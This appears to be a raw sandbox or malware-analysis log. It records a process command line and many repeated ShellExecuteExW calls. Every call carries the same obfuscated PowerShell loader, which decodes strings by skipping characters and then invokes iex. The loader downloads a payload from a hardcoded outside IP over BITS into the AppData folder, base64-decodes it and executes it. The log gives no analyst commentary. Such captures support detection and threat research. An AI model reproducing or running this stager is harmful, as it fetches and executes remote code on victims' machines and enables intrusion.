rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
wmi select * from win32_process where ProcessId=2936
Time & API Arguments Status Return Repeated

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Ragsh9 ([String]$scissorbi){For($Over=1; $Over -lt $scissorbi.Length-1; $Over+=(1+1)){$Genva=$Genva+$scissorbi.Substring($Over, 1)};$Genva;}$Climcaret=Ragsh9 ' hAt tkp :B/S/ 1t9H4 . 1P8 0C. 4P8 . 2U1 1 / rAyBavnn/SA nVlaaTeS.SxRsSnM ';$Genva01=Ragsh9 'AiRe x ';$Glem106 = Ragsh9 ' \ sIyZs w o w 6 4 \AWOi nBdSocw sUPLo w e r SMhSeAl l \MvR1F.O0P\ pRoUw eDrls h ePlDlU.LeOxPe ';.($Genva01) (Ragsh9 ' $ SJy tSr aSadd e n eP2B=N$Le n vM: w i nBd iFr ') ;.($Genva01) (Ragsh9 'p$ GSl eFme1I0 6a=f$DSPyPtMrPaIa d eRnFe 2O+ $BGClKeDm 1S0O6 ') ;.($Genva01) (Ragsh9 'C$SKUe r n = G(I(KgBw mWiR CwPiUnE3L2P_ pIrBoYc e s sB -AFT PFrOo c eKsOs I d =L$ {MP I D } )a.ACuoRmDmKa n dbLIiHnIeS)O D-Us pplFi tS [RcFhUa rR]E3A4 ');.($Genva01) (Ragsh9 ' $KSNo l oMlUi S= m$DK e r nL[ $ KCePrOnH. cMoAuGnOt - 2 ]F ');.($Genva01) (Ragsh9 'S$ S kSr k = (RT eKsFtA- P aHt h U$KG l e mS1 0D6 )p -SA nDd (N[ INnSt PCtArS] :R:SsKi z eA r-ResqK h8 ) ') ;if ($Skrk) {.$Glem106 $Sololi;} else {;$Genva00=Ragsh9 'SS tCaPrBtH- B i t sITRr a nCsPf eFrF - SDo uMrPc e $ CPlhiNmRcAa rReDt A-LDFeCsEtKi nBaIt iKo nV D$ S yDtBrMa aFdNe nFeF2 ';.($Genva01) (Ragsh9 'M$ S y tLrRaDaAd ePn eS2A= $ReUnEvD:Ka pBpBdCaRtEaW ') ;.($Genva01) (Ragsh9 'FITm p o rVtf- MPoAdruNlHe B iTtBs TAr aSnOsFfReSrT ') ;$Sytraadene2=$Sytraadene2+'\subtr.Fal';while (-not $Blodtryks1) {.($Genva01) (Ragsh9 ' $ B lRoFd tJrMy kVsH1e= ( T eSs tF-LPEa tDhA F$MSFystIr aAaPd e n es2B)S ') ;.($Genva01) $Genva00;.($Genva01) (Ragsh9 ' SFt aUrDt -SSBl e eSp C5 ');}.($Genva01) (Ragsh9 'B$SRSaTgEsGhD S=A SGAeEt -DCFoRn tseKnTtI S$ISHy tFrSa a dIeQnUeS2P ');.($Genva01) (Ragsh9 ' $PNEePuSrfeAx aGi u=M [BSSySsGtLe mD.MCPo n v eCrat ] :T:MFFrCoHm B aas e 6 4 S tWrkiNnFg ( $nRFaPgFsGh )A ');.($Genva01) (Ragsh9 ' $oGGeSnRvTaS2 A=J [ Scy sCtTePm . T eSx t .MEInIcAoUd i nPgA] : :MAASACRIEIK. GSeStOSAttrCiNn g (T$UNTe u rCe xMaAiV)P ');.($Genva01) (Ragsh9 'I$HpFy o sUeMpFt iAcS= $ G eFn vCaI2L.Cs u b s tSrSi nAg ( 1 8 5E8U9 6 ,P1V9 0F0P2P)C ');.($Genva01) $pyoseptic;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
